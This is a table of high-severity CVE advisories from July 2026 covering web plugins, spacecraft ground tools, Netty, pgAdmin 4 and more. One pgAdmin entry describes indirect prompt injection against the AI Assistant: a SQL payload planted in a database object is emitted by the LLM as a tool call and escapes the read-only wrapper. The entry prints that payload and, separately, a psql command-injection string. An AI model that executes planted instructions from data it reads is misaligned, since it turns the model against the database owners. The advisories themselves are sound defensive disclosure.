| Meta Box--Meta Box AIO                         | The Meta Box AIO plugin for WordPress is vulnerable to Missing Authorization via the <code>template_redirect</code> dispatcher in the MB Frontend Submission extension in versions up to, and including, 3.8.0. This is due to the <code>handle_request()</code> function routing the <code>mbfs_delete</code> action without any capability or ownership check, and the                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-29 | 9.1        | <a href="#">CVE-2026-14488</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                 | nonce verification in check_ajax() being gated behind is_ajax() which is false for template_redirect requests, making it bypassable. This makes it possible for unauthenticated attackers to delete arbitrary posts and pages by supplying an attacker-controlled post ID via the rwmb_frontend_field_object_id GET parameter on any page that hosts a frontend submission form regardless of whether allow_delete is enabled.                                                                                                                                                                                                                      |            |            |                                |
| Microsoft--Azure Cosmos DB                                      | Improper access control in Azure Cosmos DB allows an unauthorized attacker to execute code over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-30 | 10         | <a href="#">CVE-2026-66803</a> |
| mihailechepovskiy--Web Directory Free                           | The Web Directory Free plugin for WordPress is vulnerable to generic SQL Injection via the 'levels' parameter in all versions up to, and including, 1.7.13 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                       | 2026-07-28 | 7.5        | <a href="#">CVE-2026-14785</a> |
| MikroTik--RouterOS                                              | MikroTik RouterOS contains a weakness in its API authentication handling that lacks effective safeguards against excessive login attempts. The system does not enforce meaningful rate-limiting, account lockout, or source-based restrictions, allowing repeated authentication failures to proceed without defensive response. In some versions, a fixed per-connection delay is present, but it can be bypassed through concurrent sessions, resulting in continued high-volume attempts. This deficiency increases the risk that an attacker could eventually obtain valid credentials and gain unauthorized access to administrative services. | 2026-07-28 | 8.8        | <a href="#">CVE-2026-16347</a> |
| miniOrange--miniorange otp verification                         | Unauthenticated Cross Site Scripting (XSS) in miniorange otp verification <= 5.5.1 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-27 | 7.1        | <a href="#">CVE-2026-61957</a> |
| modelcontextprotocol--ruby-sdk                                  | MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem reads and parses an entire JSON-RPC POST body without a size limit, allowing an unauthenticated remote attacker to exhaust process memory. This issue is fixed in version 0.23.0.                                                                                                                                                                                                                                                                                            | 2026-07-29 | 7.5        | <a href="#">CVE-2026-67432</a> |
| motov.net--Ebook Store                                          | Unauthenticated Sensitive Data Exposure in Ebook Store <= 6.19 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-27 | 7.5        | <a href="#">CVE-2026-59529</a> |
| MZ Automation GmbH--libiec61850                                 | The ISO Presentation layer contains a flaw in the handling of specific parameters during normal mode negotiation. A missing length check in the processing of the encoded presentation data allows an attacker controlled field with a zero length value to trigger a bounded heap over read. This condition occurs before MMS session establishment, a crafted TCP/102 connection attempt can trigger the issue. The resulting over read causes the process to terminate, leading to a denial of service condition.                                                                                                                                | 2026-07-30 | 7.5        | <a href="#">CVE-2026-66360</a> |
| NASA--Core Flight System (cFS) Health & Safety (HS) Application | An incomplete fix for CVE-2026-15352 in the NASA core Flight System (cFS) Health and Safety (HS) application leaves a separate NULL pointer dereference reachable in versions through 7.0.1. An attacker who can trigger the affected command under specific conditions could cause the HS application to crash, resulting in a denial-of-service condition and processor reset.                                                                                                                                                                                                                                                                    | 2026-07-30 | 7.5        | <a href="#">CVE-2026-18064</a> |
| NASA-AMMOS--AIT-DSN                                             | AMMOS Instrument Toolkit (AIT) Deep Space Network (DSN) Interface before 2.2.2 contains a missing authentication vulnerability in the Space Link Extension (SLE) interface manager that allows unauthenticated network attackers to access seven unprotected API routes by sending direct HTTP requests with no credentials. Attackers can reach the exposed SLE endpoints to start or stop Deep Space Network communication sessions, retrieve telemetry frame data, and inject arbitrary frames into active spacecraft links.                                                                                                                     | 2026-07-29 | 9.8        | <a href="#">CVE-2026-60113</a> |
| NASA-AMMOS--AIT-GUI                                             | AMMOS Instrument Toolkit (AIT) GUI before 2.5.1 contains a missing authentication vulnerability that allows any unauthenticated network attacker to obtain a valid session and issue arbitrary spacecraft commands by calling Sessions.create() without any credential check. Attackers can exploit the unauthenticated session issuance in Sessions.create() and subsequently invoke handle_cmd() to forward arbitrary commands directly to the AIT command bus without any authentication gate between session creation and command dispatch.                                                                                                     | 2026-07-29 | 9.8        | <a href="#">CVE-2026-60112</a> |
| nessshon--tonapi                                                | pytonapi is a Python SDK for TONAPI that provides REST API, streaming, and webhook access to the TON blockchain. From 2.0.0 to 2.2.0, TonapiWebhookDispatcher fails to validate the Authorization header when a webhook handler is registered with the documented path argument, because setup() stores bearer tokens only under the default suffix paths and never adds the custom path to the token map, so self._tokens.get(path) returns None and the authentication guard is skipped. An unauthenticated remote attacker can POST                                                                                                              | 2026-07-28 | 7.5        | <a href="#">CVE-2026-54635</a> |



# High Vulnerabilities

| Primary Vendor -- Product                                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                     | forged payloads to the custom webhook endpoint and trigger victim-defined handlers. This issue is fixed in version 2.2.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |            |            |                                |
| netty--netty                                                                        | Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, the OcsServerCertificateValidator flags an out-of-date OSCP response but does not stop processing it, so an expired GOOD response is still reported as VALID, letting an on-path attacker replay a stale GOOD response to bypass revocation of a since-revoked certificate. Exploitation can lead to certificate revocation bypass via replay of an expired OSCP response. Any application using OcsServerCertificateValidator is affected; a revoked certificate can be accepted. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-28 | 7.4        | <a href="#">CVE-2026-56821</a> |
| netty--netty                                                                        | Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, the OcsServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OSCP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OSCP check. n io.netty.handler.ssl.ocsp.OcsServerCertificateValidator#userEventTriggered, when an SslHandshakeCompletionEvent is received, the validator immediately calls ctx.fireUserEventTriggered(evt). It then initiates an asynchronous OSCP query using OcsClient.query. Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OSCP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final. | 2026-07-28 | 7.4        | <a href="#">CVE-2026-56822</a> |
| Nexcess--GiveWP                                                                     | Unauthenticated Cross Site Scripting (XSS) in GiveWP <= 4.16.3 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-27 | 7.1        | <a href="#">CVE-2026-65441</a> |
| nico23--Advanced Responsive Video Embedder for Rumble, Odysee, YouTube, Vimeo, Kick | The Advanced Responsive Video Embedder for Rumble, Odysee, YouTube, Vimeo, Kick plugin for WordPress is vulnerable to Authentication Bypass via a Hardcoded Backdoor in version 10.8.7. The vulnerability exists because the `_arve_uc_init()` function - registered on WordPress's `init` hook at priority 1 so that it runs before any authentication checks on every request - reads an attacker-supplied token from the `_wplogin` (or `_wpm`) parameter and compares it against a hardcoded SHA-256 hash embedded directly in the plugin source, with no nonce verification, no capability check, and no password validation anywhere in the flow. Because this static hash constitutes a set of universal credentials that are publicly accessible in the plugin's source code, unauthenticated attackers can supply the known token to be authenticated as an arbitrarily selected existing administrator account, gaining full administrative control over the affected WordPress site. This was likely introduced by an attacker who gained commit access to the developers account.                                                                                                                                                                                           | 2026-07-29 | 9.8        | <a href="#">CVE-2026-18072</a> |
| nitroshare--nitroshare-desktop                                                      | NitroShare Desktop through 0.3.4 contains a path traversal vulnerability in its LAN file transfer server that allows unauthenticated attackers on the same network to write arbitrary files by sending a crafted filename containing directory traversal sequences in the JSON item header name field. Attackers can exploit the lack of path validation to write files outside the transfer root directory to arbitrary locations the current user has write access, including the Windows Startup folder, enabling persistent code execution on the next user login.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-27 | 7.5        | <a href="#">CVE-2026-66050</a> |
| NVIDIA--DCGM                                                                        | NVIDIA DCGM Exporter for all platforms contains a vulnerability in the /debug/pprof endpoints, where an attacker could cause uncontrolled resource consumption by submitting concurrent unauthenticated profiling requests. A successful exploit of this vulnerability might lead to denial of service and information disclosure.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-28 | 8.2        | <a href="#">CVE-2026-47483</a> |
| NVIDIA--NeMo Framework                                                              | NVIDIA NeMo for Linux contains a vulnerability where an attacker may cause OS command injection. A successful exploit of this vulnerability may lead to code execution, data tampering, escalation of privileges and information disclosure.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-27 | 7.8        | <a href="#">CVE-2026-24252</a> |
| o6 Automation--open62541                                                            | A heap use-after-free vulnerability in the TransferSubscriptions service in open62541 may allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-30 | 8.1        | <a href="#">CVE-2026-63035</a> |
| o6 Automation--open62541                                                            | An integer overflow in the UA_Variant arrayDimensions product computation in open62541 may allow a remote attacker to trigger an out-of-bounds write.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-30 | 8.8        | <a href="#">CVE-2026-65423</a> |
| o6 Automation--open62541                                                            | An integer overflow in the UA_Variant arrayDimensions product computation in open62541 may allow a remote attacker to read out-of-bounds heap memory, potentially disclosing sensitive information.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-30 | 7.5        | <a href="#">CVE-2026-63559</a> |

# High Vulnerabilities

| Primary Vendor -- Product               | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| OliveTin--OliveTin                      | OliveTin gives access to predefined shell commands from a web interface. From 3000.0.0 until 3000.17.0, the service/internal/auth/otoauth2/restapi_auth_oauth2.go OAuth2 login handler stores per-login state in the registeredStates map on every /oauth/login request without expiring, deleting, or bounding entries, allowing an unauthenticated attacker to exhaust memory and cause a denial of service. This issue is fixed in version 3000.17.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-29 | 7.5        | <a href="#">CVE-2026-67437</a> |
| opencost--opencost                      | OpenCost before 1.121.0 fails to authenticate the GET /helmValues endpoint, exposing base64-decoded HELM_VALUES environment variable containing cloud provider credentials. Additionally, adminAuthMiddleware fails open when ADMIN_TOKEN is unset, allowing unauthenticated attackers to modify GCP service account keys via POST /serviceKey to redirect billing calls.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-30 | 7.5        | <a href="#">CVE-2026-67349</a> |
| openwrt--luci                           | luci-app-https-dns-proxy contains a stored cross-site scripting vulnerability in the resolver_url parameter that allows authenticated users to inject active HTML. When an administrator views the HTTPS DNS Proxy status page, the resolver URL is rendered as raw HTML and executes JavaScript in the administrator's browser origin.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-08-01 | 7.6        | <a href="#">CVE-2026-67352</a> |
| opf--openproject                        | OpenProject is open-source, web-based project management software. Prior to 17.6.0, PATCH /api/v3/work_packages/{id} accepted _links.fileLinks and allowed authenticated users with edit_work_packages but without manage_file_links to resolve Storages::FileLink records by raw id, detach or hard-delete existing FileLinks, and re-parent FileLinks from other projects to an attacker-controlled work package, exposing origin filename, origin id, and MIME type metadata. This issue is fixed in 17.6.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-30 | 7.6        | <a href="#">CVE-2026-67527</a> |
| owen2345--camaleon-cms                  | Camaleon CMS versions 2.1.1 through 2.9.1 contains an authenticated remote code execution vulnerability that allows users with custom_fields manage permission to execute arbitrary Ruby code by supplying a malicious expression through the select_eval custom field type. Attackers can store an attacker-controlled Ruby expression in the field options command parameter, which is evaluated via instance_eval within an ERB view whenever a post edit page is rendered, achieving server-side code execution with web server process privileges.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-28 | 8.8        | <a href="#">CVE-2026-66748</a> |
| Payment Plugins--Stripe For WooCommerce | Unauthenticated Broken Access Control in Stripe For WooCommerce <= 4.0.7 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-27 | 7.5        | <a href="#">CVE-2026-59530</a> |
| pgadmin.org--pgAdmin 4                  | /misc/workspace/adhoc_connect_server, part of the Workspaces feature introduced in pgAdmin 4 9.0, when passed the id of an existing server, clones that server via Server.clone(), which copies every column from the source row, including user_id, shared, shared_username, and the stored credential fields password, save_password, and tunnel_password. When a non-owner triggered an adhoc connect against another user's (in practice, typically an administrator's) shared server, the clone inherited that user's ownership, shared flag, and stored database credentials verbatim. pgAdmin persisted this cross-tenant, credential-bearing server row before the connection was even attempted, so it survived even when the connection subsequently failed. The non-owner could then open the newly-owned clone and pgAdmin would connect using the source user's stored database password on the non-owner's behalf, granting the non-owner use of database credentials -- and whatever database privileges they confer -- that were never their own. Fix forces the cloned adhoc record's ownership fields (user_id, shared, shared_username) and stored credential fields (password, save_password, tunnel_password) to belong to the calling user and be cleared/private before committing, regardless of the source server's ownership, sharing state, or stored credentials. A regression test asserts that an adhoc connect triggered by a non-owner against another user's shared server persists a row owned by the caller, not shared, and without the source's stored credentials. This issue affects pgAdmin 4: from 9.0 before 9.17. | 2026-07-31 | 9.6        | <a href="#">CVE-2026-17349</a> |
| pgadmin.org--pgAdmin 4                  | The fix for CVE-2026-12045 in pgAdmin 4 9.16 required the LLM-supplied query passed to the AI Assistant's execute_sql_query tool to parse, via sqlparse, as exactly one non-transaction-control statement before running it inside a BEGIN TRANSACTION READ ONLY wrapper. sqlparse's string-literal lexing can disagree with PostgreSQL's own parser: under standard_conforming_strings = on (PostgreSQL's default since 9.1), a backslash immediately before a quote is an ordinary character to PostgreSQL, but sqlparse treats it as escaping the quote. A payload such as SELECT '\';COMMIT;CREATE TABLE pwn(x int);SELECT 1 --' therefore parses as a single SELECT to sqlparse's validator, while PostgreSQL executes it as four statements: the smuggled COMMIT ends the wrapping read-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-31 | 9          | <a href="#">CVE-2026-17351</a> |

# High Vulnerabilities

| Primary Vendor -- Product  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|----------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                            | only transaction, and the trailing ROLLBACK becomes a no-op. This reintroduces the same write/RCE bypass CVE-2026-12045 was meant to close, reachable via the same indirect prompt-injection delivery (an attacker plants the payload in any object the AI Assistant may read; the LLM emits it as a tool call). An initial candidate fix ran the query with psycopg3's execute(..., prepare=True), intending to force PostgreSQL's own Parse step (extended query protocol) to reject multi-statement text regardless of sqlparse's classification. This candidate fix does not work as submitted: psycopg3's PrepareManager silently ignores the prepare argument whenever the connection's prepare_threshold is None, which is pgAdmin's default for every server connection (the per-server "Prepare threshold" field is blank unless an administrator explicitly sets it) -- psycopg3 falls back to the simple query protocol, the same multi-statement-capable path the bypass exploits, so the candidate fix closes nothing on any real-world default configuration. The corrected fix sets conn.prepare_threshold = 0 directly on the dedicated, single-use read-only connection the AI Assistant tool opens, structurally forcing the extended query protocol independent of any server-level configuration. Verified against a live PostgreSQL 18 instance: the payload executes successfully under the prepare_threshold=None (default) behavior, and is rejected with "cannot insert multiple commands into a prepared statement" once prepare_threshold=0 is set on that connection. This issue affects pgAdmin 4: from 9.13 before 9.17.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |            |            |                                |
| pgadmin.org--<br>pgAdmin 4 | pgAdmin 4's Import/Export Data tool builds a psql \copy (...) command line by interpolating a user-supplied SQL query into a Jinja template and passing the rendered line to psql via --command. To stop an attacker from breaking out of the (...) wrapper, create_import_export_job() (route POST /import_export/job/<sid>, gated only by the ordinary, commonly-granted tools_import_export_data permission) validated the query with a hand-written parenthesis-balance checker, _is_query_parens_balanced(). That checker always treated a backslash before a single quote (\') as escaping the quote, i.e. as if standard_conforming_strings were off. PostgreSQL has defaulted standard_conforming_strings to on since 9.1 (2010), the default on every PostgreSQL version pgAdmin 4 currently supports (13-18); under that default psql's own \copy tokenizer treats \ as an ordinary character, so a single quote immediately after it closes the string literal. A query such as SELECT 'a\') TO PROGRAM 'echo pwned' x' was therefore accepted as "balanced" by pgAdmin's checker (which believed the ) was still inside the string), while psql, run through the actual rendered command line, closes the string at that point and treats the following ) as the end of the wrapping \copy (...) subquery, exposing an attacker-chosen TO PROGRAM '<command>' clause that psql executes via popen() -- independent of a subsequent syntax error later on the same line. This is the same class of bug as CVE-2025-12762/CVE-2025-13780 (RCE via psql meta-command/COPY injection during PLAIN-format dump restore), reached through an independently written defense in a different module (Import/Export Data rather than Restore) that had its own, different logic bug (inverted backslash-escape semantics rather than a BOM-defeated regex anchor). The fix rejects any backslash inside a single-quoted string in the query outright, rather than picking one of the two possible psql interpretations. This is intentionally conservative: because the correct interpretation of \ depends on the target server's standard_conforming_strings setting, which the checker cannot reliably know at validation time, refusing the query is safer than guessing. This issue affects pgAdmin 4: from the introduction of _is_query_parens_balanced() before 9.18. | 2026-07-31 | 9.9        | <a href="#">CVE-2026-17566</a> |
| pgadmin.org--<br>pgAdmin 4 | The fix for CVE-2026-12044 in pgAdmin 4 9.16 hardened qtLiteral and switched sixteen COMMENT ON / pgstattuple / pgstatindex templates to it, but missed several sinks that had been placed in test_sql_string_literal_lint.py's ALLOWLIST on the incorrect assumption that schema, table, publication, and subscription names sourced from pg_catalog via the browser tree could never contain an apostrophe. PostgreSQL permits arbitrary characters in quoted identifiers, so a low-privileged user able to CREATE TABLE, CREATE PUBLICATION, or CREATE SUBSCRIPTION can plant an apostrophe'd object name that breaks out of the unescaped '{{ name }}' template interpolation the moment any user (including a higher-privileged one) opens that object's Statistics or Dependencies tab, allowing arbitrary SQL statement injection in the viewing user's database session. Affected sinks: the Index Statistics query for all-indexes listing (coll_stats.sql, both the 16_plus and default PostgreSQL-version template variants -- distinct from the single-index stats.sql path already fixed in CVE-2026-12044), and the publication and subscription dependencies.sql / get_position.sql templates (both the pg and ppas/EPAS dialect variants for publications). Fix switches all of these templates to qtLiteral(conn) for name interpolation, and updates publications/_init_.py and                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-31 | 8.8        | <a href="#">CVE-2026-17346</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | subscriptions/___init__.py to pass conn=self.conn into the dependencies.sql render_template call so the qtLiteral filter has a connection to quote against. The corresponding ALLOWLIST entries in test_sql_string_literal_lint.py are removed now that these sinks are properly escaped rather than merely assumed safe. A behavioral regression test renders each fixed template with a stacked-statement apostrophe payload and asserts both that the object name appears exactly as qtLiteral-escaped and that the rendered SQL parses as exactly one statement, verifying the assertion genuinely fails against the pre-patch raw-interpolation form. This issue affects pgAdmin 4: the Index Statistics sink from 1.0, and the Publications/Subscriptions sinks from 5.0, both before 9.17.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |            |            |                                |
| pgadmin.org--pgAdmin 4    | The MASTER_PASSWORD_HOOK setting, introduced in pgAdmin 4 7.2, lets an administrator configure an external command that returns a per-user encryption key, with %u in the configured string replaced by the current user's name. The previous implementation substituted the username directly into the command string and executed the result with subprocess.Popen(..., shell=True). Because the username can originate from an external authentication source (OAuth/OIDC claims, Kerberos, webserver auth) rather than a value pgAdmin fully controls, a username containing shell metacharacters (';', '\$()', backticks, pipes, '&&', newlines) allowed an authenticated user to execute arbitrary commands as the pgAdmin service account in any deployment where the configured hook string uses %u. Fix tokenises the trusted, administrator-configured hook string into an argument vector first (using shlex in POSIX-quoting mode, with backslash-escaping disabled so Windows-style paths are not mis-parsed), substitutes the untrusted username into the individual argv elements, and executes with shell=False. The username is therefore always confined to a single argv element; any shell metacharacters it contains are inert. Administrators whose MASTER_PASSWORD_HOOK previously relied on shell features (pipes, redirection, environment-variable expansion, globbing) within the hook string itself must move that logic into the invoked script, since it is no longer interpreted by a shell. This issue affects pgAdmin 4: from 7.2 before 9.17. | 2026-07-31 | 7.5        | <a href="#">CVE-2026-17347</a> |
| pgvector--pgvector        | Integer wraparound in IVFFlat index build in pgvector before 0.8.6 allows a database user to write data out-of-bounds, which could lead to arbitrary code execution. Only 32-bit systems are affected.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-29 | 8.8        | <a href="#">CVE-2026-18022</a> |
| pheditor--pheditor        | Pheditor is a single-file editor and file manager written in PHP. From version 2.0.1 to before version 2.0.4, an OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges. This issue has been patched in version 2.0.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-27 | 9.9        | <a href="#">CVE-2026-48030</a> |
| pheditor--pheditor        | Pheditor is a single-file editor and file manager written in PHP. From version 2.0.1 to before version 2.0.6, Pheditor ships with a hardcoded default password admin (SHA-512 hash stored at pheditor.php:11). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. This issue has been patched in version 2.0.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-27 | 9.8        | <a href="#">CVE-2026-55579</a> |
| pheditor--pheditor        | Pheditor is a single-file editor and file manager written in PHP. Prior to version 2.0.5, there is an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured TERMINAL_COMMANDS values, then passes the full command string to shell_exec(). Shell command substitution such as \$() is not blocked, so an authenticated user with the terminal permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user. This issue has been patched in version 2.0.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-27 | 8.8        | <a href="#">CVE-2026-54540</a> |
| pheditor--pheditor        | Pheditor is a single-file editor and file manager written in PHP. From version 2.0.1 to before version 2.0.6, the terminal feature in Pheditor uses an incomplete character blocklist to sanitize user-supplied commands before passing them to shell_exec(). After the fix for GHSA-9643-6xjp-vx57 (which added \$ to the blocklist), the characters   (single pipe), ` (backtick), and the newline byte (0x0A) remain unblocked. An authenticated user with the terminal permission (enabled by default) can leverage any of these to bypass the TERMINAL_COMMANDS allowlist and execute arbitrary OS commands as the web server user. This issue has been patched in version 2.0.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-27 | 8.8        | <a href="#">CVE-2026-55578</a> |



# High Vulnerabilities

| Primary Vendor -- Product       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Phoenix Contact--CHARX SEC-3150 | Due to missing authentication, an unauthenticated remote attacker may access the MQTT broker, which is only protected from external access by a firewall. This may lead to the device being fully compromised.                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-30 | 9.8        | <a href="#">CVE-2026-44090</a> |
| Phoenix Contact--CHARX SEC-3150 | An unauthenticated remote attacker can post a malicious ID to the MQTT Broker results in the creation of a new configuration entry in the system configuration. This may lead to integrity and availability loss.                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-30 | 9.1        | <a href="#">CVE-2026-44091</a> |
| Phoenix Contact--CHARX SEC-3150 | An unauthenticated remote attacker can inject malicious input into the ModbusServer application because it does not validate the input it fetches from MQTT. This may lead to integrity and availability loss.                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-30 | 9.1        | <a href="#">CVE-2026-44092</a> |
